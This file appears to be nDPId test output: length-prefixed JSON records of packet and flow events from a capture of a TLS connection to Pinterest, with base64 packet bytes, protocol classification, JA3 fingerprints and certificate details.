+01149{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":761745,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8QaawxnfgBgB+19tAAABAQgKz6owf8K5IFcWAwECAAEAAfwDA+yBHiy\/5fPide6+4FFrI73bVeU7S3c4gpiD+hriI6L+IHtI+nAWpe15bCFvu1LqSVoZzmB4SUt58o7HnBHfl4P4ACAqKhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZPa2gAAAAAAFQATAAAQd3d3LnBpbnRlcmVzdC5mcgAXAAD\/AQABAAAKAAoACLq6AB0AFwAYAAsAAgEAACMAAAAQAA4ADAJoMghodHRwLzEuMQAFAAUBAAAAAAANABIAEAQDCAQEAQUDCAUFAQgGBgEAEgAAADMAKwApuroAAQAAHQAgB5nuO72EAGlBT6bd2ulaiLhiervUWjwUnsjM+bCJUwQALQACAQEAKwALCkpKAwQDAwMCAwEAGwADAgAC6uoAAQAAFQDMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":8,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":4,"flow_first_seen":1605289713743,"flow_last_seen":1605289713761,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33262,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.pinterest.fr","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00457{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":801155,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDGd\/7q\/MLgBALMAxuAAABAQgKwrkgfs+qMH8="} +01868{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802900,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDGd\/7q\/MLgBgLMDmeAAABAQgKwrkggc+qMH8WAwMAUgIAAE4DA4dhXa8VsCC2kHSCyYuGRwWxK0ZS0RX4US\/3xqW7vB62AMAvAAAm\/wEAAQAAAAAAAAsABAMAAQIAIwAAAAUAAAAQAAUAAwJoMgAXAAAWAwMRUAsAEUwAEUkADI4wggyKMIILcqADAgECAhAEIQzFo4YzQYum6ENydBKbMA0GCSqGSIb3DQEBCwUAMHAxCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xLzAtBgNVBAMTJkRpZ2lDZXJ0IFNIQTIgSGlnaCBBc3N1cmFuY2UgU2VydmVyIENBMB4XDTIwMDcxNjAwMDAwMFoXDTIxMDgwNDEyMDAwMFowbjELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDVNhbiBGcmFuY2lzY28xGDAWBgNVBAoTD1BpbnRlcmVzdCwgSW5jLjEYMBYGA1UEAwwPKi5waW50ZXJlc3QuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAympd0SK2ykpSjuxd34nlkvFt79NjfrXrAqDT6H12U3P3i5RnawC2sGpT\/6L8igmc\/3X18Sc5REbcl7J4nDi75dUMNjYCoDdmCdIylz1v26Y6l3nJdLoUK0cINwgIFCmAGRr7DkrCmqhyvOhxNvzAbzuylSkTgWtjPSRAjjN\/2bAkPY93298nb5tvOK190URc4dJHb\/5bPTOiylnGIQsqMvnw6scjIuGkVLK3DAPguvS5TJIlmKKXqtBe0m9S16b7mph7Txl1AdyMc2IUs6GwZe6AkN5YaDCarW+ZpawPrz0IIXFUfUFL4rsqojOND\/O6fhGo8uaOKRrRqD41672WawIDAQABo4IJIDCCCRwwHwYDVR0jBBgwFoAUUWj\/kK8CB3U8zNllZGKiErhZcjswHQYDVR0OBBYEFA2E0pErXPYSSEiu6j6AldQTTOO9MIIGSgYDVR0RBIIGQTCCBj2CDyoucGludGVyZXN0LmNvbYIMcGludGVyZXN0Lmlugg4qLnBpbnRlcmVzdC5jb4IMcGludGVyZXN0LmNvgg4qLnBpbnRlcmVzdC5wZYIMcGludGVyZXN0LnBlgg4qLnBpbnRlcmVzdC5iZYIMcGludGVyZXN0LmJlgg4qLnBpbnRlcmVzdC5pboIOKi5waW50ZXJlc3QucGiCDioucGludGVyZXN0LmVjggxwaW50ZXJlc3QucGiCDioucGludGVyZXN0LmNsggwqLnBpbmltZy5jb22CDioucGludGVyZXN0LmVzggxwaW50ZXJlc3QuZXOCDioucGludGVyZXN0Lm56"} +00887{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":10,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1605289713743,"flow_last_seen":1605289713802,"flow_tot_l4_data_len":1773,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":295,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33262,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.pinterest.fr","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01859{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802901,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDHff7q\/MLgBgLMDBrAAABAQgKwrkggc+qMH+CDHBpbnRlcmVzdC5ueoIMcGludGVyZXN0LmVjggxwaW50ZXJlc3QuaHWCDHBpbnRlcmVzdC5jYYIMcGludGVyZXN0Lmlkgg4qLnBpbnRlcmVzdC5ubIIMcGludGVyZXN0Lm5sgg4qLnBpbnRlcmVzdC50d4IMcGludGVyZXN0LnR3gg4qLnBpbnRlcmVzdC50aIIMcGludGVyZXN0LnRogg4qLnBpbnRlcmVzdC5pZIIOKi5waW50ZXJlc3Qudm6CDioucGludGVyZXN0Lmh1ggxwaW50ZXJlc3Qudm6CDioucGludGVyZXN0LnVrggxwaW50ZXJlc3QudWuCDioucGludGVyZXN0LnJ1ggxwaW50ZXJlc3QucnWCDioucGludGVyZXN0Lml0ggxwaW50ZXJlc3QuaXSCDHBpbnRlcmVzdC5mcoIMcGludGVyZXN0LmNsgg4qLnBpbnRlcmVzdC5mcoIOKi5waW50ZXJlc3QuanCCDioucGludGVyZXN0LmNhgg1waW50ZXJlc3QuY29tggZwaW4uaXSCDioucGludGVyZXN0LnNlgg4qLnBpbnRlcmVzdC5wdIIOKi5waW50ZXJlc3QubXiCDioucGludGVyZXN0Lmtygg4qLnBpbnRlcmVzdC5pZYIVcGludGVyZXN0LmVuZ2luZWVyaW5ngg4qLnBpbnRlcmVzdC5ka4IOKi5waW50ZXJlc3QuZGWCDioucGludGVyZXN0LmNogg4qLnBpbnRlcmVzdC5hdIITKi5waW50ZXJlc3RtYWlsLmNvbYIXKi5waW50ZXJlc3QuZW5naW5lZXJpbmeCECoucGludGVyZXN0LmluZm+CDnBpbnRlcmVzdC5pbmZvggpwaW5pbWcuY29tghFwaW50ZXJlc3RtYWlsLmNvbYIMcGludGVyZXN0LmRlggxwaW50ZXJlc3QuZGuCDHBpbnRlcmVzdC5pZYIMcGludGVyZXN0LmpwggxwaW50ZXJlc3Qua3KCDHBpbnRlcmVzdC5teIIMcGludGVyZXN0LnB0ggxwaW50ZXJlc3Quc2WCDHBpbnRlcmVzdC5hdIIMcGludGVyZXN0LmNogg9waW50ZXJlc3QuY28uYXSCEioucGludGVyZXN0LmNvbS51eYIPcGludGVyZXN0LmNvLmtygg9waW50ZXJlc3QuY28udWuCEioucGludGVyZXN0LmNvbS5hdYIQcGludGVyZXN0LmNvbS5hdYIQcGludGVyZXN0LmNvbS5teIIRKi5waW50ZXJlc3QuY28ubnqCD3BpbnRlcmVzdC5jby5ueoIQcGludGVyZXN0LmNvbS5wZYIQcGludGVyZXN0LmNvbS51eYIRKi5waW50ZXJlc3QuY28uaW6C"} +01864{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802903,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDIg\/7q\/MLgBgLMDGqAAABAQgKwrkggc+qMH8QcGludGVyZXN0LmNvbS5weYISKi5waW50ZXJlc3QuY29tLnB5ghBwaW50ZXJlc3QuY29tLmJvghIqLnBpbnRlcmVzdC5jb20uYm+CEHBpbnRlcmVzdC5jb20uZWOCEioucGludGVyZXN0LmNvbS5lY4IPcGludGVyZXN0LmNvLmlughIqLnBpbnRlcmVzdC5jb20ucGWCEioucGludGVyZXN0LmNvbS5teIIQcGludGVyZXN0LmNvbS52boISKi5waW50ZXJlc3QuY29tLnZughEqLnBpbnRlcmVzdC5jby51a4IRKi5waW50ZXJlc3QuY28ua3KCESoucGludGVyZXN0LmNvLmF0ghcqLnRlc3RpbmcucGludGVyZXN0LmNvbTAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMHUGA1UdHwRuMGwwNKAyoDCGLmh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwNKAyoDCGLmh0dHA6Ly9jcmw0LmRpZ2ljZXJ0LmNvbS9zaGEyLWhhLXNlcnZlci1nNi5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwgYMGCCsGAQUFBwEBBHcwdTAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuZGlnaWNlcnQuY29tME0GCCsGAQUFBzAChkFodHRwOi8vY2FjZXJ0cy5kaWdpY2VydC5jb20vRGlnaUNlcnRTSEEySGlnaEFzc3VyYW5jZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMIIBAgYKKwYBBAHWeQIEAgSB8wSB8ADuAHUA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFzVeUsqgAABAMARjBEAiBFoq\/xobECVZhZtUc7btC5hoxWOSVrWyon0phReuJy2gIgZksLD3C3g5hs1uN\/fxJ3QdxWeMMC9CJJpCnRKnMCkEoAdQBc3EOS\/uarRUSxXprUVuYQN\/vV+kfcoXOUsl7m9scOygAAAXNV5SzaAAAEAwBGMEQCIC4Ov3Wwcsdt6rpQua1N0NI2qcuhMuVxh7v+Q8LLaCfhAiAD5yJvjyGpUx+ANEDut9mpunmM1M1jNcZc4UDYCQKZPTANBgkqhkiG9w0BAQsFAAOCAQEAEaIVgCQWe7xTMHTnJi67o5Gk+JG6z2t79luhUhem28vSmRSty+B9mLbDXrK7kbGA53eU7cBTkq39mkoUUJnGH0E3QSZkxUg5YvcicFqgwA9YzkW8"} +00456{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802927,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8wuawx33gBAB9RFlAAABAQgKz6owqMK5IIE="} +00457{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802968,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8wuawyIPgBAB8w1PAAABAQgKz6owqMK5IIE="} +00458{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":802981,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8wuawyYngBAB6wk\/AAABAQgKz6owqMK5IIE="} +01873{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":803137,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDJif7q\/MLgBgLMFOTAAABAQgKwrkggc+qMH8RYWUd2c800IAKJo4Txj3P2JtoqwdyrB0hZvT17H8\/7lIaNSgYEuf3cVWj1JVtBczj0N+dl9SuQ+PALGfIEi2rWMnFFqorRIqKo\/rW5MSkpqIYcRPRSLtpmcCi32uScHq5OK\/pJHx2VnlOuDPK8jT3xwLpio+LbmPRMQTu2OHtsd0HGrbVjRfp8UNL4coHhW6ivbHBE\/qM4fLC8XCmegSVnraL9IZ+2M2vxy39AAS1MIIEsTCCA5mgAwIBAgIQBOHnpNxc8vNtwCtCuF0VnzANBgkqhkiG9w0BAQsFADBsMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5jZSBFViBSb290IENBMB4XDTEzMTAyMjEyMDAwMFoXDTI4MTAyMjEyMDAwMFowcDELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3LmRpZ2ljZXJ0LmNvbTEvMC0GA1UEAxMmRGlnaUNlcnQgU0hBMiBIaWdoIEFzc3VyYW5jZSBTZXJ2ZXIgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC24C\/CJAbIbQRf1+8KZAayfSImZRauQkCbztyfn3YHPsMwVYcZuU+UDlqUH1VWtMICKq\/QmO4LQNfE0DtyyBSe75CxEamu0si4QzrZCwvV1ZX1QK\/IHe1NnF9Xt4ZQaJn1itrSxwUfqJfJ3KSxgoQtxq2lnMcZgqaFD15EWCo3j\/018QsIJzJa9buLnqS9UdAn4t07QjOjBSjEuyjMmqwrIw14xnvmXnG3Sj4I+4G3FhahnSMSTeXXkgisdaScus0Xsh5ENWV\/UyU50RwKmmMbGZJ0aAo3wsJSSMs5WqK24V3B3aAguCGikyZvFEohQcftbZvySC\/zA\/WiaJJTL17jAgMBAAGjggFJMIIBRTASBgNVHRMBAf8ECDAGAQH\/AgEAMA4GA1UdDwEB\/wQEAwIBhjAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wSwYDVR0fBEQwQjBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4E"} +01885{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":803139,"pkt_caplen":1134,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1134,"pkt_l4_len":1080,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABDgGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDKj\/7q\/MLgBgLMPD7AAABAQgKwrkggc+qMH8WBBRRaP+QrwIHdTzM2WVkYqISuFlyOzAfBgNVHSMEGDAWgBSxPsNpA\/i\/RwHUmCYaCALvY2QrwzANBgkqhkiG9w0BAQsFAAOCAQEAGIqViQPmbd9c\/B1o6kqPg9ZRL41rRBaerGP10m5shJmLqoFxhFvtNE6wt3mSKcwtgGrwjiDheaT+A0cT6vWGyllxffQElmvTWVg9\/tMxJVwYOISj5p+C\/YxbmDFOzXieGv2Fy0mq8ieLmXL8PqrVQQva1TahvxxuR0l\/XtlIfAPZ\/YtJoJgmQkDr1pIRpGQKV1TE9R3WAl5rrO7EgJoScvpWk9f\/vzCFBjC\/C39O\/1cFnSTthcMr+6Z1qKwtFu99eSey68KdCwfqqoXTAaMgKEFZQyjSgeOq9ux7O3e2QGKABUFFAe8XBj7ewDObZ9NhLnKH5Gn8EgBXQB5w9R7JtBYDAwHfFgAB2wEAAdcwggHTCgEAoIIBzDCCAcgGCSsGAQUFBzABAQSCAbkwggG1MIGeohYEFFFo\/5CvAgd1PMzZZWRiohK4WXI7GA8yMDIwMTEwNzExNDQ1MlowczBxMEkwCQYFKw4DAhoFAAQUzyb1GPrJfo+Ms0LgHC9qEJ6OXwoEFFFo\/5CvAgd1PMzZZWRiohK4WXI7AhAEIQzFo4YzQYum6ENydBKbgAAYDzIwMjAxMTA3MTE0NDUyWqARGA8yMDIwMTExNDEwNTk1MlowDQYJKoZIhvcNAQELBQADggEBAIiYG59vb3kC7aO7aUEKdJQp5xDBWD2CQ3r7LrQsBmdscpkS2v4t1r5Rd+gr6XVjFoKpz0kuuyvjJStW5YPBHEfS2hEJOYYZRHUc2VBTkFJGDGOA9WKBGjNMQYPIgba\/Dc1iZEydmNt8\/VStnPCdVnOPkihDIvNtCmXfYttuv9t0MMTAWBAxSfkCah3R\/ExehzwNmNUIixAtuvRm6XF1wnXkJor+q+HykKEuGe8fWf8DA6FwhWVUGlP1XSXu7+4\/WusWvGLw8IQXAomxxJXe9DAUISDYdh9PiRIDmtaF95Uvwvsf2i6pIT71AzWlU05wEjbVcv6LhhXAY3M5Lw1S8EQWAwMBLAwAASgDAB0gtc6g1Jjg3v2Cf7SocgQF1OQx3Pv8ssoSFABhpudMOU8IBAEAp\/Fg\/wQfyutPudvwG52abGrZGX6k+F9DglOslTH68GY2q6NkouQQO1l1jKgJNra\/xmqLHH4JMVYhV38BXIc\/vnz7e7wUCVOMeTMdS5g\/x6OsN+t0cT5SQziLEe\/aw\/4WSQMhWOInZJfPyzOZ94f39ul8oLxN2ZuuiunweVes9\/wrWjv3ifaLZDsWwGu3zZ1XONKkZvv9E7ppFvVi+TmIPbOfiSzDTIx3orP1Ma07MM81j1vawiZA"} +02667{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":17,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":13,"flow_first_seen":1605289713743,"flow_last_seen":1605289713803,"flow_tot_l4_data_len":6189,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1080,"flow_avg_l4_data_len":476,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:7854","src_port":33262,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Pinterest","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.pinterest.fr","server_names":"*.pinterest.com,pinterest.in,*.pinterest.co,pinterest.co,*.pinterest.pe,pinterest.pe,*.pinterest.be,pinterest.be,*.pinterest.in,*.pinterest.ph,*.pinterest.ec,pinterest.ph,*.pinterest.cl,*.pinimg.com,*.pinterest.es,pinterest.es,*.pinterest.nz,pinterest.nz,pinterest.ec,pinterest.hu,pinterest.ca,pinterest.id,*.pinterest.nl,pinterest.nl,*.pinterest.tw,pinterest.tw,*.pinterest.th,pinterest.th,*.pinterest.id,*.pinterest.vn,*.pinterest.hu,pinterest.vn,*.pinterest.uk,pinterest.uk,*.pinterest.ru,pinterest.ru,*.pinterest.it,pinterest.it,pinterest.fr,pinterest.cl,*.pinterest.fr,*.pinterest.jp,*.pinterest.ca,pinterest.com,pin.it,*.pinterest.se,*.pinterest.pt,*.pinterest.mx,*.pinterest.kr,*.pinterest.ie,pinterest.engineering,*.pinterest.dk,*.pinterest.de,*.pinterest.ch,*.pinterest.at,*.pinterestmail.com,*.pinterest.engineering,*.pinterest.info,pinterest.info,pinimg.com,pinterestmail.com,pinterest.de,pinterest.dk,pinterest.ie,pinterest.jp,pinterest.kr,pinterest.mx,pinterest.pt,pinterest.se,pinterest.at,pinterest.ch,pinterest.co.at,*.pinterest.com.uy,pinterest.co.kr,pinterest.co.uk,*.pinterest.com.au,pinterest.com.au,pinterest.com.mx,*.pinterest.co.nz,pinterest.co.nz,pinterest.com.pe,pinterest.com.uy,*.pinterest.co.in,pinterest.com.py,*.pinterest.com.py,pinterest.com.bo,*.pinterest.com.bo,pinterest.com.ec,*.pinterest.com.ec,pinterest.co.in,*.pinterest.com.pe,*.pinterest.com.mx,pinterest.com.vn,*.pinterest.com.vn,*.pinterest.co.uk,*.pinterest.co.kr,*.pinterest.co.at,*.testing.pinterest.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"16c0b3e6a7b8173c16d944cfeaeee9cf","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=DigiCert Inc, OU=www.digicert.com, CN=DigiCert SHA2 High Assurance Server CA","issuerDN":"C=US, ST=California, L=San Francisco, O=Pinterest, Inc., CN=*.pinterest.com","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1","fingerprint":"1E:D0:5D:9F:0D:82:46:B3:60:5F:11:FB:64:D5:28:35:37:40:7A:4E"}} +00570{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":803139,"pkt_caplen":168,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":168,"pkt_l4_len":114,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAHIGPQBk\/5sAAAAAAAAAAJdleFQqAcsBIEmLB5kd7IUo3\/YpAbuB7prDLlf7q\/MLgBgLMHfdAAABAQgKwrkggc+qMH+ts+r2v7JijkNxvoGUGYZYD4lpPjHgIv0QRDoD2VjtCnKERIj7+k8+MGErBYWC\/RXs42rT+XWp0V6FzUfyvY41E46YF7Klda1dFgMDAAQOAAAA"} +00458{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289713,"pkt_ts_usec":803156,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD\/cFACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXhUge4Bu\/ur8wuawyo\/gBAB9QUcAAABAQgKz6owqcK5IIE="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":79,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38512,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":79,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142423,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBvDPACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnABu5Qp1R0AAAAAoAL9IJUzAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":80,"source":"pinterest.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1605289714142,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a04:4e42:1d::84","src_port":38514,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00466{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":80,"source":"pinterest.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605289714,"pkt_ts_usec":142533,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAzjWACgGQCoBywEgSYsHmR3shSjf9ikqBE5CAB0AAAAAAAAAAACElnIBu3hJrMAAAAAAoAL9INluAAACBAWgBAIICtZiIAMAAAAAAQMDBw=="} 